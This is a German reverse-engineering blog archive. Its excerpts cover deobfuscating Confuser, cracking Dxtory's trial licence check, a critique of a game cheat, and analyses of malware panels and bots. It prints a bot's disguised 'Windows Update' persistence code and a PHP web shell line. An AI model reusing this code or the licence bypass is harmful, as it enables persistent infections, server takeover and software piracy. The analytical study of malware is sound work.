Archive for the ‘ RE ’ Category

When managed is not enough - Confuser broken

Nach einem Monat der mehr oder weniger intensivsten Arbeit erscheint hier der nächste große Artikel zum Confuser. Es wird (wiedermal) um das Auflösen des Proxy-Systems gehen. Wem das Proxy-System nicht geläufig ist, kann im vorherigen Artikel sein Wissen nochmal auffrischen.

Doch zunächst ein wenig Vorgeschichte: Ein deutschsprachiger Reverser “li0nsar3c00l” war so nett mir eine Binary zu builden, welche es zu cracken galt. Dieses “CrackMe” wurde mit Confuser 1.9 Aggressive erstellt. Aggressive enthält das Proxy-System (Methoden und Konstuktoren), String-Encryption, Code-Flow-Obfuscation, Anti-Debug und natürlich Type-Renaming. Man muss im Hinterkopf behalten dass es nicht möglich ist eine lauffähige Binary zu erstellen, wenn nicht alle dieser Systeme umgangen sind. Denn jedes System benutzt entweder Signaturen von Methoden, welche sich ändern sobald die Binary neu erstellt wird, oder aber Verrechnungen mit dem MethodToken aus dem Callstack. Das hört sich alles kompliziert an, bedeutet aber einfach dass wir keine neue Binary erstellen können ohne zuvor alles aufgelöst zu haben.

Bevor wir intensiv ans Reversing gehen können, gilt es das Anti-Debug-Modul auszuhebeln. Dazu noppen wir einfach die ganze Methode, unschön aber effektiv. Den Call zu noppen hätte auch gereicht, allerdings wusste ich nicht ob die Anti-Debug Funktion nochmal (dynamisch?) aufgerufen wird. Sicher ist sicher.

Weiterlesen

9 people like this post.

Dxtory 2.0.118 Cracked - Writeup *Update*

For everyone who got here by serveral warez and torrent sites: the posted crack does work for the trail-version bypass, but the watermark is independent from the actual program Dxtory. I think that DxtroyCore.dll (native code) includes this watermark by checking the actual licence stored in:

%LocalApplicationData%\Dxtory Software\Dxtory2.0\register.dat

Again: WATERMARK STILL INCLUDED!

Altes UPDATE: Der Artikel war bisher Passwortgeschützt, jetzt hat sich das aber zunächst erledigt. Das Programm ist zwar gecracked, aber das Wasserzeichen in den Aufnahmen ist weiterhin vorhanden. Leider kann ich in den nächsten Tagen nicht am Crack weitermachen, es wird dann ein weiteres Update mit mehr Informationen geben :)

Dxtroy ist eine in .NET geschriebene Aufnahmesoftware, welche über native DirectX Hooks, ähnlich Fraps, Aufnahmen macht. Eigentlich eine sehr coole Sache, nur leider bietet die Trail-Version einige Einschränkungen die es zu entfernen gilt.

Ein Keygen wird nicht erstellt, ein Patch war schlichtweg einfacher. Ein Patch ist für einen Coder leichter zu fixxen als das ganze Lizenzsystem umzustellen, so fair sollte man doch sein.

Dxtroy ist mit den Obfuscator “Dotfuscator” geschützt. Dotfuscator beschränkt sich auf das Umbenennen von allen Typen, Methoden und Feldern und ist daher für uns nicht wirklich ein Hinderhis. Sobald man sich die Klassennamen merkt findet man sich leicht zurecht. Alternativ kann man mit dem EasyAssemblyRenamer ein bisschen Ordnung schaffen, bringt viel Übersicht.

Im EntryPoint (ey.a) befinden sich wenige Zeilen, es wird das “StartupEvent” gesetzt und danach eine neue Instanz der Form gestartet. Die ganzen Checks finden in dem StartupEvent statt, daher sollte die Funktion “a(Object, StartupEventArgs)” näher angeschaut werden.

Viel Code springt einem in diesen Event entgegen, das meiste können wir getrost ignorieren. Es werden ein paar SHA-Filehashes errechnet und ein Logfile erzeugt. Interessant wird es ab diesem Punkt hier. Der Source ist übrigens von den Namen her modifiziert, im Original ist das ganze unübersichtlicher.

Assembly entryAssembly = Assembly.GetEntryAssembly();
AssemblyName name = entryAssembly.GetName();
byte[] publicKey = name.GetPublicKey();
LicenceCheck.class0_0.PublicKeyPart = new byte[publicKey.Length - 12];
Array.Copy(publicKey, 12, LicenceCheck.class0_0.PublicKeyPart, 0, LicenceCheck.class0_0.PublicKeyPart.Length);
LicenceCheckThreads.StartThreads();
LicenceCheckThreads.JoinThreads();
if (!LicenceCheck.class0_0.IsLicenced)
{
TrialDialog trialDialog = new TrialDialog();
if (!trialDialog.ShowDialog().Value)
{
base.Shutdown();
return;
}
}
if (LicenceCheckThreads.CheckIfExpired())
{
base.Shutdown();
return;
}

Weiterlesen

86 people like this post.

External MW3 Hack unter der Lupe

Der Secunet-User sup3ria war so freundlich mir diesen Hack für eine Analyse zukommen zu lassen. sup3ria hatte den Bot cracked, danke auch dafür :) Dieser Hack wurde für 10€ verkauft, ob ein ESP und ein Aimbot diesen Preis gerechtfertigen…

Trotzdem ist es schön ein .NET-Hack zu analysieren, allein aus der Tatsache dass es ein reiner .NET Hack ohne C++/CLR ist.

Nach dem HWID-Check wird ein einem neuen Thread das Overlay initialisiert. Das ist einfach nur eine transparente Form mit einem Control, das ESP Control. Dieses Control überschreibt OnPaint und ruft dabei die Draw-Funktion auf:

// mw3_by_stefsot.ESP
protected override void OnPaint(PaintEventArgs e)
{
	this.draw(e.Graphics);
	base.OnPaint(e);
}

Die ESP Draw-Loop sieht dabei schon interessanter aus. Nach ein paar Checks werden alle Spieler durchgegangen und dabei je nach Position, Team und weiteres eine Box gezeichnet. Source gibt es hier keinen zu sehen, da alle Variablen unleserlich sind und sich vieles wiederholt. Interessant sind allerdings diese Zeilen:

if ((Class0.struct1_0 - Class0.class1_0[i].struct1_0).method_0() / 48f < 12f & Class0.class1_0[i].color_0 == Color.Red & Class0.bool_2 & Class0.smethod_2(Class0.class1_0[i].struct1_0.float_2, 70) & Class0.class1_0[i].bool_0)
{
   int num2 = (int)Math.Round((double)(gr.MeasureString("AN ENEMY IS NEAR YOU!", new Font("Arial", 25f, FontStyle.Bold)).Width / 2f));
    gr.DrawString("AN ENEMY IS NEAR YOU!", new Font("Arial", 25f, FontStyle.Bold), Brushes.Cyan, (float)((double)this.Width / 2.0 - (double)num2), (float)((double)this.Height / 2.0 + (double)Class0.float_1));
   }

Wenn der Abstand von PlayerVector (Class0.Struct1_0) zum Vector des aktuellen Gegners (class1_0[i].Struct1_0) kleiner als 12 ist, so wird eine Warnmeldung ausgegeben. Nette Idee :)

Der Source des Aimbots sieht wie ein Schlachfeld aus, ich habe wirkliche Probleme daraus Informationen zu ziehen :D Soweit ich das sehe wird aus der Screen-Position ein Offset errechnet und dann der Mauscursor um diesen Offset verschoben. Und wer mir nicht glaubt dass der Source so schrecklich ist sollte sich mal das geben, so geht das geschätzte 200 Zeilen lang!

Class0.Class2 class2_ = new Class0.Class2((double)(location.X + Class0.int_0[0]), (double)unchecked((float)checked(form_0.Location.Y + Class0.int_0[1]) + Class0.float_1));
						Class0.Class2 class2_2 = unchecked(new Class0.Class2(Class0.class1_0[Class3.int_0].class2_1.double_0 - Class0.class1_0[Class3.int_0].class2_2.double_0 / 2.0, Class0.class1_0[Class3.int_0].class2_1.double_1 + (double)Class0.float_1 - Class0.class1_0[Class3.int_0].class2_2.double_1));
						Class0.Class2 class2_3 = new Class0.Class2(Class0.class1_0[Class3.int_0].class2_2.double_0, Class0.class1_0[Class3.int_0].class2_2.double_1);
						if (!Class3.smethod_2(class2_, class2_2, class2_3))
						{
							location = new Point((int)Math.Round((double)unchecked((float)point.X * Class0.float_2 + (float)Class3.point_0.X * Class0.float_3)), (int)Math.Round((double)unchecked((float)point.Y * Class0.float_2 + (float)Class3.point_0.Y * Class0.float_3)));
							Class3.smethod_1(location, form_0);
						}

Weitere Kritikpunkte an dem Bot:

  • Jede Variable wird einzeln per ReadProcessMemory aus dem Speicher gelesen, da sind ca. 1000 RPM Aufrufe pro Durchgang. Warum nicht einfach eine Struktur auslesen und über Marshal.PtrToStructure das ganze gescheit casten? Die Strukturen sind übrigens auch ein Chaos.
  • Es werden 2 Threads mit je einem Sleep von 13 Millisekunden gestartet. Das reicht nicht für einen effektiven ESP/Aimbot gegen andere Cheater, was immer meine Intention war. Injecten und Hooken ist das einzig wahre, so sehr ich externe Hacks auch respektiere.
  • Der “Lag-Fix” ist einfach nur ein Aufruf von GC.Collect. Dabei räumt der GarbageCollector alle nicht gebrauchten Objekte auf. Da diese aber sofort wirder befüllt werden ist der Sinn null. Hört sich halt cool an, ein “LagFix”.
  • Das ProcessHandle wird über GetWindowA und GetWindowThreadProcessId abgerufen. Schonmal was von der System.Diagnostics.Process Klasse gehört?
  • Bei diesem Code denke ich nur: “DAFUG?”. ReadInt mit einer Angabe der Bytes die gelesen werden sollen?
public static object readInt(int address, int bytes)
{
	long num = 0L;
	int arg_1A_0 = (int)Memory.pHandle;
	int num2 = 0;
	Memory.ReadProcessMemory_1(arg_1A_0, address, ref num, bytes, ref num2);
	return num;
}

Soweit zu dieser Analyse. Als Fazit ist zu sagen: Guter Versuch, kopierte Memory-Klasse und keine Ahnung vom Speicher. Der Code ist grausam, nicht nur durch den Deobfuscator. Warum wird sowas für GELD verkauft?

Greez

9 people like this post.

Confuser Metadata-Confusion explained

Dieser Artikel wurde auf Englisch geschrieben da dieses Writeup auch an nicht deutschsprachige Reverser gerichtet ist.

Der Artikel beschreibt die Vorgehensweise des Confusers beim Anwenden der sog. Metadata-Confusion. Diese Confusion schafft es die Assembly weiterhin lauffähig zu halten, allerdings die Metadata so zu manipulieren dass jegliche Decompiler und sogar Mono.Cecil versagen die Datei zu lesen.

Dieses Writeup ist nur mit dem Source des Confusers nachzuvollziehen und ist an Experten gerichtet, solltet ihr dennoch Interesse am Verstehen des Artikels haben so lest euch zunächst den Artikel zum .NET Fileformat durch.

Introduction:
I’ll try to give sense to the quite confusing source of the InvaildMetadata-Confusion and point out how the confusion works.

Confuser makes use of the Mono.Cecil.Metadata-namespace to edit/add the .NET metadata tables in the #~ stream. Many aspects of this MD-confusion is based on replacing, adding and randomizing table-entries.
All the metadata tables with detailed information can be found in this great article, this is really helpfull to get the nessessary information and to eventually write a deobfuscator!

Phase 1:
In the beginning this phase adds a invaild DeclSecurity to the DeclSecurityTable. The Flags (2 bytes), the index to a Type/Method/Assembly (4 bytes) and the PermissionSet (4 bytes) are set to 0xffffffff, therefore no index can be found.

Next random characters are added to the #String-stream, 0×10000 in total.
If no reflection is used in the assembly a new row in the ManifestResourceTable is added:
The Offset to the ressource points to -1 (0xffffffff), the ressource is set to private (0×02) and the ressource name points to the generated random stuff in the #String-stream.

This is basicly what the first phase does, this probably wouldn’t mess up the file although the ressource is quite a nesty thing…

Weiterlesen

3 people like this post.

Easy Socks Bot - Leaked and Cracked

Nachdem Confuser 1.7.0.0 nun endgültig entpackt wurde konnte ich mich der eigentlichen Malware die es zu reversen galt widmen. Die Malware war, wie schon von Anfang an klar, ein Reverse Socks5 Bot. Anders als beim “N0ise-Bot” konnte ich den Source leserlich wiederherstellen, die Typen und Methoden umbenennen und sogar eine weiterhin ausführbare Exe erstellen. Allerdings wird diese nicht mitgeliefert, da es hier nur um die Technik geht. Wenn ihr also euern eigenen Socks5 Bot zusammenklicken wollt, so seid ihr hier falsch :)

Der Source des Bots ist, im Gegensatz zum Zemra-Bot, sehr klein. Eine Main-Klasse mit “nur” 13 Methoden stellt das Herz des Bots dar, gehen wir doch Schritt für Schritt durch die komplexeste aller Funktionen, die Main-Funktion.

Zunächst wird, vor dem eigentlichen Starten, ein Mutex mit dem Namen “uoxopAzgrzaWsQaS” erzeugt. Sollte das Mutex bereits aktiv sein wird der neu gestartete Prozess beendet. Die nächste Funktion “installert” den Bot, dabei nistet er sich in folgenden Pfaden und Registryeinträgen ein:

Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\winupdt.exe"; 
File.Copy(Assembly.GetEntryAssembly().Location, text, true); 
File.SetAttributes(text, FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System); 
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Windows Update", text); 
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true).SetValue("Hidden", 2);
Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Windows Update", text);

Weiterlesen

5 people like this post.

Confuser DeConfused

Ein kleines Update zum aktuellen Projekt, dem schreiben eines Unpackers für den Confuser 1.7.0.0 und 1.8.0.0. Es wird vorallem um das Proxy-System und die raffinierte Object-Verschlüsselung gehen. Hard stuff, aber richtig cool wenn man es mal kapiert hat.

Original bin ich auf den Confuser durch Malware gestossen, diese war mit 1.7.0.0 geschützt. Die Malware war der Inbegriff von Unübersichtlichkeit. Wie sollte man dort abstrahieren um einen DeObfuscator zu schreiben? Daher wurde ein simples Hello-World-Programm erstellt (mit 1.8.0.0) und dieses für weitere Analysen verwendet. Diese Hello-World Programm wird auch im folgenden für die Erklärungen verwendet.

Das Proxy-System ist einfach und genial zugleich. Anstatt direkte Methodenaufrufe wie System.Console.WriteLine(String) zu verwenden, wird ein Wrapper um den gesamten Call gepackt. Ein Delegate wird dann mit der richtigen Funktion (WriteLine) verknüpft und im Wrapper dieses verknüpfte Delegate aufgerufen. Dabei errechnet sich das Token (eine Art MethodenID) dem Namen der Delegate-Funktion. Soweit verstanden? In der Praxis sieht das so aus:

 

Weiterlesen

11 people like this post.

Confuser is Confusing

Der Confuser, welchem dieser Post gewidmet wird, ist ein Open Source Obfuscator für .NET Assemblies. Der allzu bekannte DeObfuscator De4Dot unterstützt Confuser nicht, und wird es auch in Zukunft nicht. Ein Alternativprojekt namens DeConfuser ist zwar vorhanden, allerdings deckt es nur wenige Funktionen ab und funktioniert (zumindest bei mir) in der aktuellen Version überhaupt nicht.

Dieser Blogpost wird, ähnlich wie schon beim InterCafe RE, eine Gedankensammlung und Writeup sein. Denn wie schon Kleist in seinem Aufsatz “Über die allmähliche Verfertigung der Gedanken beim Reden” meint:

Probleme, die nicht durch Meditation lösbar sind, sind dadurch zu lösen, indem Man mit anderen darüber spricht

Genug des Exkurses, gehen wir ans Reversen. Das Problem sind zunächst die unleserlichen Strings. So sieht eine Crypto-Funktion z.B. so aus:

Weiterlesen

5 people like this post.

Dragon Stealer - Cracked & Exploited

Dieser Stealer wurde vorgestern publiziert und ist zur Abwechslung mal nicht in .NET geschrieben, sondern in Delphi. Es wurden 3rd Party Tools verwendet um die Passwörter auszulesen und im Webpanel findet sich eine tolle XSS, aber alles der Reihenfolge nach.

Der Stealer ließt Passwörter aus allen gängigen Browsern aus und schreibt die Daten über ein PHP-Webpanel in die Datenbank. Dort können diese “Logs” sortiert und durchsucht werden. Zwar hat der Coder brav mysql_real_escape_string und htmlspecialchars verwendet, aber beim Eintragen der Logs vergessen auf XSS zu escapen. Folge ist dass eine XSS direkt in die DB eingetragen werden kann, genau so wird sie auch wieder ausgelesen.

Oft vertreten User die Meinung dass eine XSS lange nicht so schlimm wäre wie eine SQL-Injection, das ist leider in diesem Fall falsch. Über eine SQL-Injecten hätten wir nur Daten über INSERT INTO eintragen können, über eine XSS können wir die Session Stehlen, Logs auslesen und an uns schicken, eine folge von Requests von allen Logs schicken oder sogar Facebook Clickjacking betreiben…

Weiterlesen

11 people like this post.

Zemra Bot - Leaked, Exploited & Exposed

Der Zemra DDoS Bot wird z.Z. in diversen Foren für ca. 100 € verkauft. In diesem Post erwartet euch neben einer dreisten Backdoor ein unsicheres Panel und natürlich die leaked Binary. Dabei gilt wie immer: Der Coder hat zwar eine Menge Ahnung von dem was er tut, aber trotzdem bleibt es um Teil zusammen kopierte Malware. In diesem Blogpost werde ich aber vor allem auf die “Besonderheiten” aus programmtechnischer Sicht eingehen.

Falls wieder die Frage zu meiner “Moral” gestellt wird: Ich habe im Grunde nicht gegen selbst geschriebene Malware, wenn der Coder sie allein für sich benutzt. Aber ich habe nur etwas dagegen wenn diese verkauft wird. Und wer Malware für ca. 100 € verkauft sollte in der Lage sein sie und das Panel zu schützen!

Zuerst zu dem Backdoor und der SQL-Injection. Die Backdoor muss nicht zwangsläufig vom Coder sein, sie war eben in dem Panel dass mir zugespielt wurde. Dabei befand sich in dem “/system/”-Ordner, der u.a. die Settings enthält, eine command.php mit einer simplen Shell:

if(isset($_GET['cmd'])){echo "cmd"; system($_GET['cmd']);exit;}

Die command.php ist weiterhin in dem hochgeladenen Panel drin, nur als Warnung ;-)

Die SQL-Injection befindet sich in der gate.php, der Kommunikation zwischen Zombie und Controlserver. Da es doch viel Code zu erklären gäbe, beschränke ich mich auf die Theorie: Es wird zunächst ein Schlüssel mit dem Server ausgetauscht, dieser wird in Zukunft für die AES-Verschlüsselung verwendet. Nun wird in der Regel ein verschlüsseltes Packet mit Informationen gesendet, welche diese in die DB einträgt. Dabei werden die Werte nicht escaped, wir können also diese Kommunikation nachbauen und eine SQL-Injection durchführen.

Weiterlesen

15 people like this post.